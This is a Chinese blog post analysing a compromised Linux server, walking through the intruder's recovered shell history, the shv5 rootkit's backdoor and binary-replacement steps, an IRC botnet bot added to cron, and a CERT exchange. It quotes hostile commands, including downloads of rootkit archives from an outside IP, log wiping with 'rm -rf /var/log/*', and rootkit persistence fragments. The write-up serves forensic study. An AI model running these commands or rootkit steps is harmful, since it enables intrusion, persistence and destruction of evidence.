首页 运维 正文
一次服务器被入侵后的分析

 2022-10-23    379  

最近有个朋友让我去帮他看一下他的Linux服务器,说是Apache启动不了,有很多诡异的情况。后来证明绝不是Apache启动不了这么简单。

登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:

lars@server1:~$ls
ls:invalidoption--h
Try`ls--help'formoreinformation.

为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了。

lars@server1:~$aliasls
aliasls='ls-sh--color=auto'
lars@server1:~$unaliasls
lars@server1:~$ls
backup
lars@server1:~$

虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题。

lars@server1:~$sudo/etc/init.d/apache2start
Password:
*Startingapache2.0webserver...
(2):apache2:couldnotopenerrorlogfile/var/log/apache2/error.log.
Unabletoopenlogs
...fail!

纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题。

lars@server1:~$sudo-i
Password:
root@server1:~#ls
ls:unrecognizedprefix:do
ls:unparsablevalueforLS_COLORSenvironmentvariable
total44
4.4.bashrc4.ssh
4..4.lesshst8.viminfo
8.bash_history4.profile4.vimrc

很不幸的发现,”ls”又出问题了.同样,用”alias”命令:

root@server1:~#aliasls
aliasls='ls-sa--color=auto'
root@server1:~#unaliasls
root@server1:~#ls
root@server1:~#

这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了。

root@server1:~#cat-n.bash_history
...
340w
341cd/var
342wgethttp://83.19.148.250/~matys/pliki/shv5.tar.gz
343tar-zxfshv5.tar.gz
344rm-rfshv5.tar.gz
345mvshv5.x
346cd.x
347./setupzibi.joe.14954098
348passwd
349passwd
350psaux
351crontab-l
352cat/etc/issue
353cat/etc/passwd
354w
355who
356cd/usr/lib/libsh
357ls
358hide+
359chmod+xhide
360hide+
361./hide+
362cd/var/.x
363mkdirpsotnic
364cdpsotnic
365wgethttp://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
366tar-zxfpsotnic0.2.5.tar.gz
367rm-rfpsotnic0.2.5.tar.gz
368ls
369mvpsotnic-0.2.5-linux-static-ipv6synscan
370./synscan
371viconf
372viconf1
373mvsynscansmbd
374smbd-cconf
375ls
376psaux
377ls
378./smbd-cconf
379./smbd-cconf1
380./smbdconf
381./smbdconf1
382./smbd-aconfconf1
383rm-rfconf.dec
384rm-rfconf1.dec
385cd/usr/lib/libsh
386./hide+
387exit
...
425sshftp@62.101.251.166
426w
427ls
428ls
429cd/var/.x
430ls
431cdpsotnic/
432ls
433rm-rf/var/log/*
434exit
435ls
436cd/var/.x/psotnic/
437ls
438viconf2
439./smbd-cconf2
440./smbdconf2
441./smbd-aconfconf1conf2
442rm-rfconf2.dec
443cd..
444ls
445cd/usr/lib/libsh
446hide+
447./hide+
448exit
449psaux
450cd/var/.x
451ls
452ls
453cdpsotnic/
454ls
455catpid.MastaH
456kill-92030
457./synscan-aconfconf1
458./smbd-aconfconf1
459cd/usr/lib/libsh
460./hide+

这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵。#p#

通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧。

root@server1:/var/.x#filesetup
setup:Bourne-Againshellscripttextexecutable
root@server1:/var/.x#wc-lsetup
825setup
root@server1:/var/.x#head-17setup
#!/bin/bash
#
#shv5-internal-release
#by:PinT[x]April/2003
#
#greetzto:
#
#[*]SH-members:BeSo_M,grass^,toolman,nobody,niceboy,armando99
#C00L|0,GolDenLord,Spike,zion...
#[*]Alba-Hack:2Cool,heka,TheMind,ex-THGmembers...
#[*]SH-friends:mave,AlexTG,Cat|x,klex,JinkS...
#[*]tC-members:eksol,termid,hex,keyhook,maher,tripodetc..
#[*]Andallotherswhodiservetobeherebutiforgot
#[*]thematthemoment!
#
#PRIVATE!DONOTDISTRIBUTE*censored*EZ!

“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)

mv$SSHDIR/sshd/sbin/ttyload
chmoda+xr/sbin/ttyload
chmodo-w/sbin/ttyload
touch-acmr/bin/ls/sbin/ttyload
chattr+isa/sbin/ttyload
kill-9`pidofttyload`>/dev/null2>&1
....
#INITTABSHUFFLING
chattr-isa/etc/inittab
cat/etc/inittab|grep-vttyload|grep-vgetty>/tmp/.init1
cat/etc/inittab|grepgetty>/tmp/.init2
echo"#Loadingstandardttys">>/tmp/.init1
echo"0:2345:once:/usr/sbin/ttyload">>/tmp/.init1

它也替换了一些linux的标准命令。

#Backdoorps/top/du/ls/netstat/etc..
cd$BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir$BACKUP
...
#ls...
chattr-isa/bin/ls
cp/bin/ls$BACKUP
mv-fls/bin/ls
chattr+isa/bin/ls

这样子就可以解释为什么”ls”命令输出那么奇怪了。

“.backup”文件夹保存了被替换之前的命令程序。

root@server1:/var/.x#ls-l/usr/lib/libsh/.backup/
total552
-rwxr-xr-x1rootroot126276Dec2422:58find
-rwxr-xr-x1rootroot59012Dec2422:58ifconfig
-rwxr-xr-x1rootroot77832Dec2422:58ls
-rwxr-xr-x1rootroot30388Dec2422:58md5sum
-rwxr-xr-x1rootroot99456Dec2422:58netstat
-rwxr-xr-x1rootroot65492Dec2422:58ps
-rwxr-xr-x1rootroot14016Dec2422:58pstree
-rwxr-xr-x1rootroot50180Dec2422:58top

看了一下时间戳,居然是在圣诞节。

很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:

root@server1:~#md5sum/usr/lib/libsh/.backup/ls/bin/ls
eef7ca9dd6be1cc53bac84012f8d1675/usr/lib/libsh/.backup/ls
0a07cf554c1a74ad974416f60916b78d/bin/ls

root@server1:~#file/bin/ls
/bin/ls:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.0.0,dynamicallylinked
(usessharedlibs),forGNU/Linux2.0.0,stripped

root@server1:~#file/usr/lib/libsh/.backup/ls
/usr/lib/libsh/.backup/ls:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.6.0,dynamicallylinked
(usessharedlibs),forGNU/Linux2.6.0,stripped

这个rootkit(“sh5.tar.gz”)是从下面的地址下载的。

root@server1:~#dig+short-x83.19.148.250
4lo.bydg.pl.

这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.

这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)

rq1

所以”zibi.joe.149″是后门的密码,”54098″是端口号.这是一个来自ssh.com的就版本的sshd.测试截图如下:

rq2

安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的。

然后,他创建了两个配置文件.文件中包含irc服务器和需要加入的频道.配置文件是加密过的,而且明文的配置文件被删掉了。

viconf
viconf1
....
./smbd-cconf
./smbd-cconf1
./smbdconf
./smbdconf1
./smbd-aconfconf1

让我们执行一下382这条命令,看看会发生什么。

root@server1:/var/.x/psotnic#./smbd-aconfconf1
PsotnicC++edition,version0.2.5-ipv6(Jul17200520:39:49)
Copyright(C)2003-2005GrzegorzRusin
[+]Adding:*/10****cd/var/.x/psotnic;./smbdconf>/dev/null2>&1
[+]Adding:*/10****cd/var/.x/psotnic;./smbdconf1>/dev/null2>&1
[+]Added2psotnicstocron

哇!它添加了cron定时任务.赶紧看一看:

root@server1:/var/.x/psotnic#crontab-l
*/10****cd/var/.x/psotnic;./smbdconf>/dev/null2>&1
*/10****cd/var/.x/psotnic;./smbdconf1>/dev/null2>&1

#p#

接下来,我杀掉这两个恶意的smbd进程,禁用cron任务.在另一个shell中运行了tcpdump,然后手动启动了这两个irc-bot进程:

root@server1:~#cd/var/.x/psotnic;./smbdconf

PsotnicC++edition,version0.2.5-ipv6(Jul17200520:39:49)
Copyright(C)2003-2005GrzegorzRusin

[*]ActingasLEAF
[+]Configloaded
[+]Goingintobackground[pid:5724]
root@server1:/var/.x/psotnic#./smbdconf1

PsotnicC++edition,version0.2.5-ipv6(Jul17200520:39:49)
Copyright(C)2003-2005GrzegorzRusin

[*]ActingasLEAF
[+]Configloaded
[+]Goingintobackground[pid:5727]
root@server1:/var/.x/psotnic#

用”ps”命令(后门替换过的)可以看到这两个进程.这也是为什么入侵者需要通过改名字来隐藏进程。

root@server1:/var/.x/psotnic#psaxuw|grepsmb
root37990.00.485922156?S11:000:00/usr/sbin/smbd-D
root38080.00.18592896?S11:000:00/usr/sbin/smbd-D
root57240.00.11648772pts/2S12:470:00./smbdconf
root57270.00.11640764pts/2S12:470:00./smbdconf1

最开始两个是真正的samba进程,后面两个是irc-bot,让我们用”strace”命令来看看它做了什么:

root@server1:~#strace-p5727
...
connect(3,{sa_family=AF_INET,sin_port=htons(9714),sin_addr=inet_addr("83.18.74.235")},16)=-1EINPROGRESS(Operationnowinprogress)
...
connect(4,{sa_family=AF_INET,sin_port=htons(6667),sin_addr=inet_addr("195.159.0.92")},16)=-1EINPROGRESS(Operationnowinprogress)

可以看到它尝试连接ip 83.18.74.235的9714端口和195.159.0.92的6667端口:

root@server1:~#dig+short-x83.18.74.235
manhattan.na.pl.
root@server1:~#dig+short-x195.159.0.92
ircnet.irc.powertech.no.

又是一个波兰的ip.另外一个ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的别名.是挪威一个著名的irc服务器。

tcpdump抓到了连接irc服务器的流量.正如下面的内容显示,它连接到了”irc.powertech.no”,加入了”#aik”频道。

:irc.powertech.no001578PAB9NB:WelcometotheInternetRelayNetwork578PAB9NB!~op@ti231210a080-3666.bb.online.no
:irc.powertech.no002578PAB9NB:Yourhostisirc.powertech.no,runningversion2.11.1p1

:578PAB9NB!~op@ti231210a080-3666.bb.online.noJOIN:#aik
:irc.powertech.no353578PAB9NB@#aik:578PAB9NBkkndraiderbrandyzjpiconfxerkozIpaLvvo
:irc.powertech.no366578PAB9NB#aik:EndofNAMESlist.
:irc.powertech.no352578PAB9NB#aik~opti231210a080-3666.bb.online.noirc.powertech.no578PAB9NBG:0op-GTW
:irc.powertech.no352578PAB9NB#aik~kkndti231210a080-3666.bb.online.noirc.hitos.nokkndH:2kknd-GTW
:irc.powertech.no352578PAB9NB#aik~raidermobitech-70.max-bc.spb.ru*.dotsrc.orgraiderG:4raider-GTW
:irc.powertech.no352578PAB9NB#aik~brandyzmobitech-70.max-bc.spb.ru*.dotsrc.orgbrandyzG:4brandyz-GTW
:irc.powertech.no352578PAB9NB#aik~jpip3124-ipad309sasajima.aichi.ocn.ne.jp*.jpjpiG:8jpi-GTW
:irc.powertech.no352578PAB9NB#aik~confp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpconfG:7conf-GTW
:irc.powertech.no352578PAB9NB#aik~xerkozp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpxerkozH:7xerkoz-GTW
:irc.powertech.no352578PAB9NB#aiklmcampus19.panorama.sth.ac.at*.atIpaLH:5.LaPi.9@.IRCNet..
:irc.powertech.no352578PAB9NB#aik~vvoppp86-7.intelcom.sm*.tiscali.itvvoH:6vvo-GTW
:irc.powertech.no315578PAB9NB#aik:EndofWHOlist.

这些仅仅是加入#aik频道,并开始监听该频道所有成员的一些原始网络流量.我决定自己进入这个频道看看.令我惊讶的是不需要任何密码我就进来了.

17:43-!-viper42[~viper42@trinity.gnist.org]hasjoined#aik
17:43[Users#aik]
17:43[578PAB9NL][conf][jpi][raider][vvo]
17:43[brandyz][IpaL][kknd][viper42][xerkoz]
17:43-!-Irssi:#aik:Totalof10nicks[0ops,0halfops,0voices,10normal]
17:43-!-Irssi:Jointo#aikwassyncedin1secs

我发现我朋友的服务器使用的昵称是”578PQB9NB”,还有一些其他的服务器也在这里.这些僵尸服务器应该是正在等待着我们的入侵者加入频道发布命令.或者他已经潜藏在这里了.我注意到,所有的昵称都有一个后缀”\*-GTW”,只有一个没有:

17:45[powertech]-!-IpaL[lm@campus19.panorama.sth.ac.at]
17:45[powertech]-!-ircname:LaPi@IRCNet
17:45[powertech]-!-channels:#relaks#ping@#seks#aik@#ogame.pl
#pingwinaria#hattrick#trade#admin@#!sh
17:45[powertech]-!-server:*.at[\o\\o//o/]

这是唯一一个加入了多个频道的昵称.我猜我已经找到这个入侵者了,除非这是一个故意迷惑的诱饵.(恩,这个入侵者真的真么笨!!这么容易就找到了!?).我决定等几天看看有木有什么有趣的事情发生.这个域名解析到了:

$dig+shortcampus19.panorama.sth.ac.at
193.170.51.84

根据RIPE的数据,这个ip属于Vienna University计算机中心,我发了一封邮件询问关于这个域名的信息,他们几个小时后会我了:

From:AlexanderTalosviaRT
To:larstra@ifi.uio.no
Subject:Crackeratcampus19.panorama.sth.ac.at(193.170.51.84)[ACOnetCERT#38603]
Date:Fri,18May200718:22:43+0200(CEST)
Reply-To:cert@aco.net

-----BEGINPGPSIGNEDMESSAGE-----
Hash:SHA1

Hej!

OnFriMay1814:45:032007,larstra@ifi.uio.nowrote:

>Ihavebeentrackingdowncrackerwhichconnectedfrom
>campus19.panorama.sth.ac.at(193.170.51.84).Theuser,which

Ouch.panorama.sth.ac.atisadormitorywithabout4kroomsall
behindaNATgateway-itwillbeveryhardtogetholdofthe
miscreant.

Thisincidentwill,inthelongrun,definitelyhelpmegetting
ridoftheNATboxesinsetupslikethat,butrightnow,wewill
havetomakedowithwhatwehave.

>Pleaseinvestigatethehostinquestion.Perhapsisthisa
>compromisedhostonyournetworkactingasajumpstationfor

Sure,andeveninaNATedenvironment,thisisstillpossible.

Btw,youdidagreatjobinanalysingthecompromisedmachine!

I'llletyouknowwhenIhaveeitherfurtherquestionsorany
interestingresults.

Cheers,

AlexanderTalos

---
IT-Security,UniversitaetWien,ACOnetCERT

T:+43-1-4277-14351M:+43-664-60277-14351

看起来我不够幸运。#p#

接下来我曾尝试连接irc频道里其他僵尸主机的 54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口。

连接到”83.18.74.235″的流量看起来很混乱.只好再次用strace命令:

root@server1:/var/.x/psotnic#strace-f./smbdconf1&>/root/dump.strace

跟预期的一样,有很多输出,其中一个是它尝试启动”BitchX”,这是一个irc客户端.但是失败了,因为BitchX没有安装:

[pid7537]write(2,"sh:",4)=4
[pid7537]write(2,"BitchX:notfound",17)=17
[pid7537]write(2,"n",1)=1
[pid7537]close(2)=0

下面的截图是tcpdump抓到流量的一部分:

rq3

这仅仅是两个假的smbd进程中的一个.另外一个也连到了两个irc服务器,一个是波兰这个,另外一个是”irc.hitos.no”,位于挪威的特罗姆斯郡。

入侵者除了这些,还运行了一个叫”hide”的脚本来清除日志:

root@server1:/usr/lib/libsh#./hide+
LinuxHiderv2.0bymave
enhancedbyme!
[+][ShkupiLogcleaner]Removing+fromthelogs.........

[+]/var/log/messages...[done]

[+]/var/run/utmp...[done]

[+]/var/log/lastlog...[done]

[+]/var/log/wtmp...[done]

*missionaccomplished*

p.h.e.e.rS.H.c.r.e.w

那么这个入侵者为什么还要把”/var/log/”目录全删除了呢,是不相信这个工具么?还是他特别害怕?

可以看到这个服务器被入侵了,安装了后门而且加入了僵尸网咯.但是入侵者犯了几个错误导致他可能被侦查到:

1、忘记清除”.bash_history”文件

2、“/var/log”目录下所有文件都删除了.导致某些程序无法启动.很容易被发现.

3、修改了root的密码.又是一个愚蠢的行为.永远不要修改root密码,这个必然会引起管理员的注意.

4、irc的频道没有密码保护.虽然即使有密码,我们也可以抓包分析出来.

5、入侵者平时就在僵尸网络的频道闲逛?如果是这样的话那他已经暴露了.

当然还有几个遗留的问题:

1、”ssh ftp@62.101.251.166″ 这个命令是干嘛的.是入侵者不小心敲错了么还是有其他的目的?

$dig+short-x62.101.251.166
cA6FB653E.dhcp.bluecom.no.

2、跟83.18.74.235(manhattan.na.pl)的通讯内容是什么?

3、最重要的问题是他一开始是如何或得下系统的权限的?这个服务器运行的是Ubuntu 6.06 LTS,打了最新的补丁。可能入侵的途径:

*猜测root密码,不幸的是这个密码是强密码*

*未知的exploit*

*某个用户在已经被攻陷的主机上登录这台服务器.入侵者嗅探到了密码.*

原文链接:https://77isp.com/post/8726.html

=========================================

https://77isp.com/ 为 “云服务器技术网” 唯一官方服务平台,请勿相信其他任何渠道。